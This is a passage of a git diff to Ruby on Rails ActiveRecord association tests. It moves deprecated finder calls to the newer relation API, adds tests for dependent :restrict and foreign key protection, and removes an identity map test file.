     assert_equal [], person.posts
diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb
index 26931e3e85..8bc633f2b5 100644
--- a/activerecord/test/cases/associations/has_one_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_associations_test.rb
@@ -25,13 +25,13 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     assert_queries(1) { assert_nil firm.account }
     assert_queries(0) { assert_nil firm.account }
 
-    firms = Firm.find(:all, :include => :account)
+    firms = Firm.all.merge!(:includes => :account).to_a
     assert_queries(0) { firms.each(&:account) }
   end
 
   def test_with_select
     assert_equal Firm.find(1).account_with_select.attributes.size, 2
-    assert_equal Firm.find(1, :include => :account_with_select).account_with_select.attributes.size, 2
+    assert_equal Firm.all.merge!(:includes => :account_with_select).find(1).account_with_select.attributes.size, 2
   end
 
   def test_finding_using_primary_key
@@ -156,12 +156,45 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     assert_nothing_raised { firm.destroy }
   end
 
-  def test_dependence_with_restrict
-    firm = RestrictedFirm.new(:name => 'restrict')
-    firm.save!
+  def test_restrict
+    firm = RestrictedFirm.create!(:name => 'restrict')
+    firm.create_account(:credit_limit => 10)
+
+    assert_not_nil firm.account
+
+    assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
+    assert RestrictedFirm.exists?(:name => 'restrict')
+    assert firm.account.present?
+  end
+
+  def test_restrict_is_deprecated
+    klass = Class.new(ActiveRecord::Base)
+    assert_deprecated { klass.has_one :post, dependent: :restrict }
+  end
+
+  def test_restrict_with_exception
+    firm = RestrictedWithExceptionFirm.create!(:name => 'restrict')
     firm.create_account(:credit_limit => 10)
+
     assert_not_nil firm.account
+
     assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
+    assert RestrictedWithExceptionFirm.exists?(:name => 'restrict')
+    assert firm.account.present?
+  end
+
+  def test_restrict_with_error
+    firm = RestrictedWithErrorFirm.create!(:name => 'restrict')
+    firm.create_account(:credit_limit => 10)
+
+    assert_not_nil firm.account
+
+    firm.destroy
+
+    assert !firm.errors.empty?
+    assert_equal "Cannot delete record because a dependent account exists", firm.errors[:base].first
+    assert RestrictedWithErrorFirm.exists?(:name => 'restrict')
+    assert firm.account.present?
   end
 
   def test_successful_build_association
@@ -175,7 +208,7 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
 
   def test_build_and_create_should_not_happen_within_scope
     pirate = pirates(:blackbeard)
-    scoped_count = pirate.association(:foo_bulb).scoped.where_values.count
+    scoped_count = pirate.association(:foo_bulb).scope.where_values.count
 
     bulb = pirate.build_foo_bulb
     assert_not_equal scoped_count, bulb.scope_after_initialize.where_values.count
@@ -243,13 +276,13 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
 
   def test_dependence_with_missing_association_and_nullify
     Account.destroy_all
-    firm = DependentFirm.find(:first)
+    firm = DependentFirm.first
     assert_nil firm.account
     firm.destroy
   end
 
   def test_finding_with_interpolated_condition
-    firm = Firm.find(:first)
+    firm = Firm.first
     superior = firm.clients.create(:name => 'SuperiorCo')
     superior.rating = 10
     superior.save
@@ -295,14 +328,14 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
 
     assert_nothing_raised do
       Firm.find(@firm.id).save!
-      Firm.find(@firm.id, :include => :account).save!
+      Firm.all.merge!(:includes => :account).find(@firm.id).save!
     end
 
     @firm.account.destroy
 
     assert_nothing_raised do
       Firm.find(@firm.id).save!
-      Firm.find(@firm.id, :include => :account).save!
+      Firm.all.merge!(:includes => :account).find(@firm.id).save!
     end
   end
 
@@ -397,6 +430,22 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     assert_equal car.id, bulb.car_id
   end
 
+  def test_association_protect_foreign_key
+    pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+
+    ship = pirate.build_ship
+    assert_equal pirate.id, ship.pirate_id
+
+    ship = pirate.build_ship :pirate_id => pirate.id + 1
+    assert_equal pirate.id, ship.pirate_id
+
+    ship = pirate.create_ship
+    assert_equal pirate.id, ship.pirate_id
+
+    ship = pirate.create_ship :pirate_id => pirate.id + 1
+    assert_equal pirate.id, ship.pirate_id
+  end
+
   def test_association_conditions_bypass_attribute_protection
     car = Car.create(:name => 'honda')
 
@@ -456,4 +505,17 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
 
     assert_equal car.id, bulb.attributes_after_initialize['car_id']
   end
+
+  def test_has_one_transaction
+    company = companies(:first_firm)
+    account = Account.find(1)
+
+    company.account # force loading
+    assert_no_queries { company.account = account }
+
+    company.account = nil
+    assert_no_queries { company.account = nil }
+    account = Account.find(2)
+    assert_queries { company.account = account }
+  end
 end
diff --git a/activerecord/test/cases/associations/has_one_through_associations_test.rb b/activerecord/test/cases/associations/has_one_through_associations_test.rb
index 2503349c08..90c557e886 100644
--- a/activerecord/test/cases/associations/has_one_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_through_associations_test.rb
@@ -73,7 +73,7 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
 
   def test_has_one_through_eager_loading
     members = assert_queries(3) do #base table, through table, clubs table
-      Member.find(:all, :include => :club, :conditions => ["name = ?", "Groucho Marx"])
+      Member.all.merge!(:includes => :club, :where => ["name = ?", "Groucho Marx"]).to_a
     end
     assert_equal 1, members.size
     assert_not_nil assert_no_queries {members[0].club}
@@ -81,7 +81,7 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
 
   def test_has_one_through_eager_loading_through_polymorphic
     members = assert_queries(3) do #base table, through table, clubs table
-      Member.find(:all, :include => :sponsor_club, :conditions => ["name = ?", "Groucho Marx"])
+      Member.all.merge!(:includes => :sponsor_club, :where => ["name = ?", "Groucho Marx"]).to_a
     end
     assert_equal 1, members.size
     assert_not_nil assert_no_queries {members[0].sponsor_club}
@@ -89,14 +89,14 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
 
   def test_has_one_through_with_conditions_eager_loading
     # conditions on the through table
-    assert_equal clubs(:moustache_club), Member.find(@member.id, :include => :favourite_club).favourite_club
-    memberships(:membership_of_favourite_club).update_column(:favourite, false)
-    assert_equal nil,                    Member.find(@member.id, :include => :favourite_club).reload.favourite_club
+    assert_equal clubs(:moustache_club), Member.all.merge!(:includes => :favourite_club).find(@member.id).favourite_club
+    memberships(:membership_of_favourite_club).update_columns(favourite: false)
+    assert_equal nil,                    Member.all.merge!(:includes => :favourite_club).find(@member.id).reload.favourite_club
 
     # conditions on the source table
-    assert_equal clubs(:moustache_club), Member.find(@member.id, :include => :hairy_club).hairy_club
-    clubs(:moustache_club).update_column(:name, "Association of Clean-Shaven Persons")
-    assert_equal nil,                    Member.find(@member.id, :include => :hairy_club).reload.hairy_club
+    assert_equal clubs(:moustache_club), Member.all.merge!(:includes => :hairy_club).find(@member.id).hairy_club
+    clubs(:moustache_club).update_columns(name: "Association of Clean-Shaven Persons")
+    assert_equal nil,                    Member.all.merge!(:includes => :hairy_club).find(@member.id).reload.hairy_club
   end
 
   def test_has_one_through_polymorphic_with_source_type
@@ -104,14 +104,14 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_eager_has_one_through_polymorphic_with_source_type
-    clubs = Club.find(:all, :include => :sponsored_member, :conditions => ["name = ?","Moustache and Eyebrow Fancier Club"])
+    clubs = Club.all.merge!(:includes => :sponsored_member, :where => ["name = ?","Moustache and Eyebrow Fancier Club"]).to_a
     # Only the eyebrow fanciers club has a sponsored_member
     assert_not_nil assert_no_queries {clubs[0].sponsored_member}
   end
 
   def test_has_one_through_nonpreload_eagerloading
     members = assert_queries(1) do
-      Member.find(:all, :include => :club, :conditions => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name') #force fallback
+      Member.all.merge!(:includes => :club, :where => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name').to_a #force fallback
     end
     assert_equal 1, members.size
     assert_not_nil assert_no_queries {members[0].club}
@@ -119,7 +119,7 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
 
   def test_has_one_through_nonpreload_eager_loading_through_polymorphic
     members = assert_queries(1) do
-      Member.find(:all, :include => :sponsor_club, :conditions => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name') #force fallback
+      Member.all.merge!(:includes => :sponsor_club, :where => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name').to_a #force fallback
     end
     assert_equal 1, members.size
     assert_not_nil assert_no_queries {members[0].sponsor_club}
@@ -128,7 +128,7 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
   def test_has_one_through_nonpreload_eager_loading_through_polymorphic_with_more_than_one_through_record
     Sponsor.new(:sponsor_club => clubs(:crazy_club), :sponsorable => members(:groucho)).save!
     members = assert_queries(1) do
-      Member.find(:all, :include => :sponsor_club, :conditions => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name DESC') #force fallback
+      Member.all.merge!(:includes => :sponsor_club, :where => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name DESC').to_a #force fallback
     end
     assert_equal 1, members.size
     assert_not_nil assert_no_queries { members[0].sponsor_club }
@@ -197,7 +197,7 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
     @member.member_detail = @member_detail
     @member.organization = @organization
     @member_details = assert_queries(3) do
-      MemberDetail.find(:all, :include => :member_type)
+      MemberDetail.all.merge!(:includes => :member_type).to_a
     end
     @new_detail = @member_details[0]
     assert @new_detail.send(:association, :member_type).loaded?
@@ -210,14 +210,14 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
 
     assert_nothing_raised do
       Club.find(@club.id).save!
-      Club.find(@club.id, :include => :sponsored_member).save!
+      Club.all.merge!(:includes => :sponsored_member).find(@club.id).save!
     end
 
     @club.sponsor.destroy
 
     assert_nothing_raised do
       Club.find(@club.id).save!
-      Club.find(@club.id, :include => :sponsored_member).save!
+      Club.all.merge!(:includes => :sponsored_member).find(@club.id).save!
     end
   end
 
diff --git a/activerecord/test/cases/associations/identity_map_test.rb b/activerecord/test/cases/associations/identity_map_test.rb
deleted file mode 100644
index 9b8635774c..0000000000
--- a/activerecord/test/cases/associations/identity_map_test.rb
+++ /dev/null
@@ -1,137 +0,0 @@
-require "cases/helper"
-require 'models/author'
-require 'models/post'
-
-if ActiveRecord::IdentityMap.enabled?
-class InverseHasManyIdentityMapTest < ActiveRecord::TestCase
-  fixtures :authors, :posts
-
-  def test_parent_instance_should_be_shared_with_every_child_on_find
-    m = Author.first
-    is = m.posts
-    is.each do |i|
-      assert_equal m.name, i.author.name, "Name of man should be the same before changes to parent instance"
-      m.name = 'Bongo'
-      assert_equal m.name, i.author.name, "Name of man should be the same after changes to parent instance"
-      i.author.name = 'Mungo'
-      assert_equal m.name, i.author.name, "Name of man should be the same after changes to child-owned instance"
-    end
-  end
-
-  def test_parent_instance_should_be_shared_with_eager_loaded_children
-    m = Author.find(:first, :include => :posts)
-    is = m.posts
-    is.each do |i|
-      assert_equal m.name, i.author.name, "Name of man should be the same before changes to parent instance"
-      m.name = 'Bongo'
-      assert_equal m.name, i.author.name, "Name of man should be the same after changes to parent instance"
-      i.author.name = 'Mungo'
-      assert_equal m.name, i.author.name, "Name of man should be the same after changes to child-owned instance"
-    end
-
-    m = Author.find(:first, :include => :posts, :order => 'posts.id')
-    is = m.posts
-    is.each do |i|
-      assert_equal m.name, i.author.name, "Name of man should be the same before changes to parent instance"
-      m.name = 'Bongo'
-      assert_equal m.name, i.author.name, "Name of man should be the same after changes to parent instance"
-      i.author.name = 'Mungo'
-      assert_equal m.name, i.author.name, "Name of man should be the same after changes to child-owned instance"
-    end
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_built_child
-    m = Author.first
-    i = m.posts.build(:title => 'Industrial Revolution Re-enactment', :body => 'Lorem ipsum')
-    assert_not_nil i.author
-    assert_equal m.name, i.author.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to parent instance"
-    i.author.name = 'Mungo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to just-built-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_block_style_built_child
-    m = Author.first
-    i = m.posts.build {|ii| ii.title = 'Industrial Revolution Re-enactment'; ii.body = 'Lorem ipsum'}
-    assert_not_nil i.title, "Child attributes supplied to build via blocks should be populated"
-    assert_not_nil i.author
-    assert_equal m.name, i.author.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to parent instance"
-    i.author.name = 'Mungo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to just-built-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_created_child
-    m = Author.first
-    i = m.posts.create(:title => 'Industrial Revolution Re-enactment', :body => 'Lorem ipsum')
-    assert_not_nil i.author
-    assert_equal m.name, i.author.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to parent instance"
-    i.author.name = 'Mungo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to newly-created-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_created_via_bang_method_child
-    m = Author.first
-    i = m.posts.create!(:title => 'Industrial Revolution Re-enactment', :body => 'Lorem ipsum')
-    assert_not_nil i.author
-    assert_equal m.name, i.author.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to parent instance"
-    i.author.name = 'Mungo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to newly-created-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_newly_block_style_created_child
-    m = Author.first
-    i = m.posts.create {|ii| ii.title = 'Industrial Revolution Re-enactment'; ii.body = 'Lorem ipsum'}
-    assert_not_nil i.title, "Child attributes supplied to create via blocks should be populated"
-    assert_not_nil i.author
-    assert_equal m.name, i.author.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to parent instance"
-    i.author.name = 'Mungo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to newly-created-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_poked_in_child
-    m = Author.first
-    i = Post.create(:title => 'Industrial Revolution Re-enactment', :body => 'Lorem ipsum')
-    m.posts << i
-    assert_not_nil i.author
-    assert_equal m.name, i.author.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to parent instance"
-    i.author.name = 'Mungo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to newly-created-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_replaced_via_accessor_children
-    m = Author.first
-    i = Post.new(:title => 'Industrial Revolution Re-enactment', :body => 'Lorem ipsum')
-    m.posts = [i]
-    assert_same m, i.author
-    assert_not_nil i.author
-    assert_equal m.name, i.author.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to parent instance"
-    i.author.name = 'Mungo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to replaced-child-owned instance"
-  end
-
-  def test_parent_instance_should_be_shared_with_replaced_via_method_children
-    m = Author.first
-    i = Post.new(:title => 'Industrial Revolution Re-enactment', :body => 'Lorem ipsum')
-    m.posts = [i]
-    assert_not_nil i.author
-    assert_equal m.name, i.author.name, "Name of man should be the same before changes to parent instance"
-    m.name = 'Bongo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to parent instance"
-    i.author.name = 'Mungo'
-    assert_equal m.name, i.author.name, "Name of man should be the same after changes to replaced-child-owned instance"
-  end
-end
-end
diff --git a/activerecord/test/cases/associations/inner_join_association_test.rb b/activerecord/test/cases/associations/inner_join_association_test.rb
index e5e9ca6131..4f246f575e 100644
--- a/activerecord/test/cases/associations/inner_join_association_test.rb
+++ b/activerecord/test/cases/associations/inner_join_association_test.rb
@@ -67,22 +67,22 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
   def test_find_with_implicit_inner_joins_does_not_set_associations
     authors = Author.joins(:posts).select('authors.*')
     assert !authors.empty?, "expected authors to be non-empty"
-    assert authors.all? {|a| !a.send(:instance_variable_names).include?("@posts")}, "expected no authors to have the @posts association loaded"
+    assert authors.all? { |a| !a.instance_variable_defined?(:@posts) }, "expected no authors to have the @posts association loaded"
   end
 
   def test_count_honors_implicit_inner_joins
-    real_count = Author.scoped.to_a.sum{|a| a.posts.count }
-    assert_equal real_count, Author.count(:joins => :posts), "plain inner join count should match the number of referenced posts records"
+    real_count = Author.all.to_a.sum{|a| a.posts.count }
+    assert_equal real_count, Author.joins(:posts).count, "plain inner join count should match the number of referenced posts records"
   end
 
   def test_calculate_honors_implicit_inner_joins
-    real_count = Author.scoped.to_a.sum{|a| a.posts.count }
-    assert_equal real_count, Author.calculate(:count, 'authors.id', :joins => :posts), "plain inner join count should match the number of referenced posts records"
+    real_count = Author.all.to_a.sum{|a| a.posts.count }
+    assert_equal real_count, Author.joins(:posts).calculate(:count, 'authors.id'), "plain inner join count should match the number of referenced posts records"
   end
 
   def test_calculate_honors_implicit_inner_joins_and_distinct_and_conditions
-    real_count = Author.scoped.to_a.select {|a| a.posts.any? {|p| p.title =~ /^Welcome/} }.length
-    authors_with_welcoming_post_titles = Author.calculate(:count, 'authors.id', :joins => :posts, :distinct => true, :conditions => "posts.title like 'Welcome%'")
+    real_count = Author.all.to_a.select {|a| a.posts.any? {|p| p.title =~ /^Welcome/} }.length
+    authors_with_welcoming_post_titles = Author.all.merge!(:joins => :posts, :where => "posts.title like 'Welcome%'").calculate(:count, 'authors.id', :distinct => true)
     assert_equal real_count, authors_with_welcoming_post_titles, "inner join and conditions should have only returned authors posting titles starting with 'Welcome'"
   end
 
diff --git a/activerecord/test/cases/associations/inverse_associations_test.rb b/activerecord/test/cases/associations/inverse_associations_test.rb
index 76282213d8..aad48e7ce9 100644
--- a/activerecord/test/cases/associations/inverse_associations_test.rb
+++ b/activerecord/test/cases/associations/inverse_associations_test.rb
@@ -96,7 +96,7 @@ class InverseHasOneTests < ActiveRecord::TestCase
 
 
   def test_parent_instance_should_be_shared_with_eager_loaded_child_on_find
-    m = Man.find(:first, :conditions => {:name => 'Gordon'}, :include => :face)
+    m = Man.all.merge!(:where => {:name => 'Gordon'}, :includes => :face).first
     f = m.face
     assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
     m.name = 'Bongo'
@@ -104,7 +104,7 @@ class InverseHasOneTests < ActiveRecord::TestCase
     f.man.name = 'Mungo'
     assert_equal m.name, f.man.name, "Name of man should be the same after changes to child-owned instance"
 
-    m = Man.find(:first, :conditions => {:name => 'Gordon'}, :include => :face, :order => 'faces.id')
+    m = Man.all.merge!(:where => {:name => 'Gordon'}, :includes => :face, :order => 'faces.id').first
     f = m.face
     assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
     m.name = 'Bongo'
@@ -114,7 +114,7 @@ class InverseHasOneTests < ActiveRecord::TestCase
   end
 
   def test_parent_instance_should_be_shared_with_newly_built_child
-    m = Man.find(:first)
+    m = Man.first
     f = m.build_face(:description => 'haunted')
     assert_not_nil f.man
     assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
@@ -125,7 +125,7 @@ class InverseHasOneTests < ActiveRecord::TestCase
   end
 
   def test_parent_instance_should_be_shared_with_newly_created_child
-    m = Man.find(:first)
+    m = Man.first
     f = m.create_face(:description => 'haunted')
     assert_not_nil f.man
     assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
@@ -136,7 +136,7 @@ class InverseHasOneTests < ActiveRecord::TestCase
   end
 
   def test_parent_instance_should_be_shared_with_newly_created_child_via_bang_method
-    m = Man.find(:first)
+    m = Man.first
     f = m.create_face!(:description => 'haunted')
     assert_not_nil f.man
     assert_equal m.name, f.man.name, "Name of man should be the same before changes to parent instance"
@@ -147,7 +147,7 @@ class InverseHasOneTests < ActiveRecord::TestCase
   end
 
   def test_parent_instance_should_be_shared_with_replaced_via_accessor_child
-    m = Man.find(:first)
+    m = Man.first
     f = Face.new(:description => 'haunted')
     m.face = f
     assert_not_nil f.man
@@ -159,7 +159,7 @@ class InverseHasOneTests < ActiveRecord::TestCase
   end
 
   def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.find(:first).dirty_face }
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.first.dirty_face }
   end
 end
 
@@ -179,7 +179,7 @@ class InverseHasManyTests < ActiveRecord::TestCase
   end
 
   def test_parent_instance_should_be_shared_with_eager_loaded_children
-    m = Man.find(:first, :conditions => {:name => 'Gordon'}, :include => :interests)
+    m = Man.all.merge!(:where => {:name => 'Gordon'}, :includes => :interests).first
     is = m.interests
     is.each do |i|
       assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
@@ -189,7 +189,7 @@ class InverseHasManyTests < ActiveRecord::TestCase
       assert_equal m.name, i.man.name, "Name of man should be the same after changes to child-owned instance"
     end
 
-    m = Man.find(:first, :conditions => {:name => 'Gordon'}, :include => :interests, :order => 'interests.id')
+    m = Man.all.merge!(:where => {:name => 'Gordon'}, :includes => :interests, :order => 'interests.id').first
     is = m.interests
     is.each do |i|
       assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
@@ -201,7 +201,7 @@ class InverseHasManyTests < ActiveRecord::TestCase
   end
 
   def test_parent_instance_should_be_shared_with_newly_block_style_built_child
-    m = Man.find(:first)
+    m = Man.first
     i = m.interests.build {|ii| ii.topic = 'Industrial Revolution Re-enactment'}
     assert_not_nil i.topic, "Child attributes supplied to build via blocks should be populated"
     assert_not_nil i.man
@@ -213,7 +213,7 @@ class InverseHasManyTests < ActiveRecord::TestCase
   end
 
   def test_parent_instance_should_be_shared_with_newly_created_via_bang_method_child
-    m = Man.find(:first)
+    m = Man.first
     i = m.interests.create!(:topic => 'Industrial Revolution Re-enactment')
     assert_not_nil i.man
     assert_equal m.name, i.man.name, "Name of man should be the same before changes to parent instance"
@@ -224,7 +224,7 @@ class InverseHasManyTests < ActiveRecord::TestCase
   end
 
   def test_parent_instance_should_be_shared_with_newly_block_style_created_child
-    m = Man.find(:first)
+    m = Man.first
     i = m.interests.create {|ii| ii.topic = 'Industrial Revolution Re-enactment'}
     assert_not_nil i.topic, "Child attributes supplied to create via blocks should be populated"
     assert_not_nil i.man
@@ -248,7 +248,7 @@ class InverseHasManyTests < ActiveRecord::TestCase
   end
 
   def test_parent_instance_should_be_shared_with_replaced_via_accessor_children
-    m = Man.find(:first)
+    m = Man.first
     i = Interest.new(:topic => 'Industrial Revolution Re-enactment')
     m.interests = [i]
     assert_not_nil i.man
@@ -259,8 +259,14 @@ class InverseHasManyTests < ActiveRecord::TestCase
     assert_equal m.name, i.man.name, "Name of man should be the same after changes to replaced-child-owned instance"
   end
 
+  def test_parent_instance_should_be_shared_with_first_and_last_child
+    man = Man.first
+    assert man.interests.first.man.equal? man
+    assert man.interests.last.man.equal? man
+  end
+
   def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.find(:first).secret_interests }
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Man.first.secret_interests }
   end
 end
 
@@ -278,7 +284,7 @@ class InverseBelongsToTests < ActiveRecord::TestCase
   end
 
   def test_eager_loaded_child_instance_should_be_shared_with_parent_on_find
-    f = Face.find(:first, :include => :man, :conditions => {:description => 'trusting'})
+    f = Face.all.merge!(:includes => :man, :where => {:description => 'trusting'}).first
     m = f.man
     assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
     f.description = 'gormless'
@@ -286,7 +292,7 @@ class InverseBelongsToTests < ActiveRecord::TestCase
     m.face.description = 'pleasing'
     assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
 
-    f = Face.find(:first, :include => :man, :order => 'men.id', :conditions => {:description => 'trusting'})
+    f = Face.all.merge!(:includes => :man, :order => 'men.id', :where => {:description => 'trusting'}).first
     m = f.man
     assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
     f.description = 'gormless'
@@ -331,7 +337,7 @@ class InverseBelongsToTests < ActiveRecord::TestCase
   end
 
   def test_child_instance_should_be_shared_with_replaced_via_accessor_parent
-    f = Face.find(:first)
+    f = Face.first
     m = Man.new(:name => 'Charles')
     f.man = m
     assert_not_nil m.face
@@ -343,7 +349,7 @@ class InverseBelongsToTests < ActiveRecord::TestCase
   end
 
   def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.find(:first).horrible_man }
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.horrible_man }
   end
 end
 
@@ -351,7 +357,7 @@ class InversePolymorphicBelongsToTests < ActiveRecord::TestCase
   fixtures :men, :faces, :interests
 
   def test_child_instance_should_be_shared_with_parent_on_find
-    f = Face.find(:first, :conditions => {:description => 'confused'})
+    f = Face.all.merge!(:where => {:description => 'confused'}).first
     m = f.polymorphic_man
     assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
     f.description = 'gormless'
@@ -361,7 +367,7 @@ class InversePolymorphicBelongsToTests < ActiveRecord::TestCase
   end
 
   def test_eager_loaded_child_instance_should_be_shared_with_parent_on_find
-    f = Face.find(:first, :conditions => {:description => 'confused'}, :include => :man)
+    f = Face.all.merge!(:where => {:description => 'confused'}, :includes => :man).first
     m = f.polymorphic_man
     assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
     f.description = 'gormless'
@@ -369,7 +375,7 @@ class InversePolymorphicBelongsToTests < ActiveRecord::TestCase
     m.polymorphic_face.description = 'pleasing'
     assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
 
-    f = Face.find(:first, :conditions => {:description => 'confused'}, :include => :man, :order => 'men.id')
+    f = Face.all.merge!(:where => {:description => 'confused'}, :includes => :man, :order => 'men.id').first
     m = f.polymorphic_man
     assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
     f.description = 'gormless'
@@ -421,19 +427,19 @@ class InversePolymorphicBelongsToTests < ActiveRecord::TestCase
 
   def test_trying_to_access_inverses_that_dont_exist_shouldnt_raise_an_error
     # Ideally this would, if only for symmetry's sake with other association types
-    assert_nothing_raised(ActiveRecord::InverseOfAssociationNotFoundError) { Face.find(:first).horrible_polymorphic_man }
+    assert_nothing_raised(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.horrible_polymorphic_man }
   end
 
   def test_trying_to_set_polymorphic_inverses_that_dont_exist_at_all_should_raise_an_error
     # fails because no class has the correct inverse_of for horrible_polymorphic_man
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.find(:first).horrible_polymorphic_man = Man.first }
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.horrible_polymorphic_man = Man.first }
   end
 
   def test_trying_to_set_polymorphic_inverses_that_dont_exist_on_the_instance_being_set_should_raise_an_error
     # passes because Man does have the correct inverse_of
-    assert_nothing_raised(ActiveRecord::InverseOfAssociationNotFoundError) { Face.find(:first).polymorphic_man = Man.first }
+    assert_nothing_raised(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.polymorphic_man = Man.first }
     # fails because Interest does have the correct inverse_of
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.find(:first).polymorphic_man = Interest.first }
+    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.polymorphic_man = Interest.first }
   end
 end
 
@@ -444,7 +450,7 @@ class InverseMultipleHasManyInversesForSameModel < ActiveRecord::TestCase
 
   def test_that_we_can_load_associations_that_have_the_same_reciprocal_name_from_different_models
     assert_nothing_raised(ActiveRecord::AssociationTypeMismatch) do
-      i = Interest.find(:first)
+      i = Interest.first
       i.zine
       i.man
     end
@@ -452,7 +458,7 @@ class InverseMultipleHasManyInversesForSameModel < ActiveRecord::TestCase
 
   def test_that_we_can_create_associations_that_have_the_same_reciprocal_name_from_different_models
     assert_nothing_raised(ActiveRecord::AssociationTypeMismatch) do
-      i = Interest.find(:first)
+      i = Interest.first
       i.build_zine(:title => 'Get Some in Winter! 2008')
       i.build_man(:name => 'Gordon')
       i.save!
diff --git a/activerecord/test/cases/associations/join_model_test.rb b/activerecord/test/cases/associations/join_model_test.rb
index 4ce8b85098..86893ec4b3 100644
--- a/activerecord/test/cases/associations/join_model_test.rb
+++ b/activerecord/test/cases/associations/join_model_test.rb
@@ -1,5 +1,4 @@
 require "cases/helper"
-require 'active_support/core_ext/object/inclusion'
 require 'models/tag'
 require 'models/tagging'
 require 'models/post'
@@ -46,16 +45,12 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
     assert !authors(:mary).unique_categorized_posts.loaded?
     assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count }
     assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count(:title) }
-    assert_queries(1) { assert_equal 0, author.unique_categorized_posts.count(:title, :conditions => "title is NULL") }
+    assert_queries(1) { assert_equal 0, author.unique_categorized_posts.where(title: nil).count(:title) }
     assert !authors(:mary).unique_categorized_posts.loaded?
   end
 
   def test_has_many_uniq_through_find
-    assert_equal 1, authors(:mary).unique_categorized_posts.find(:all).size
-  end
-
-  def test_has_many_uniq_through_dynamic_find
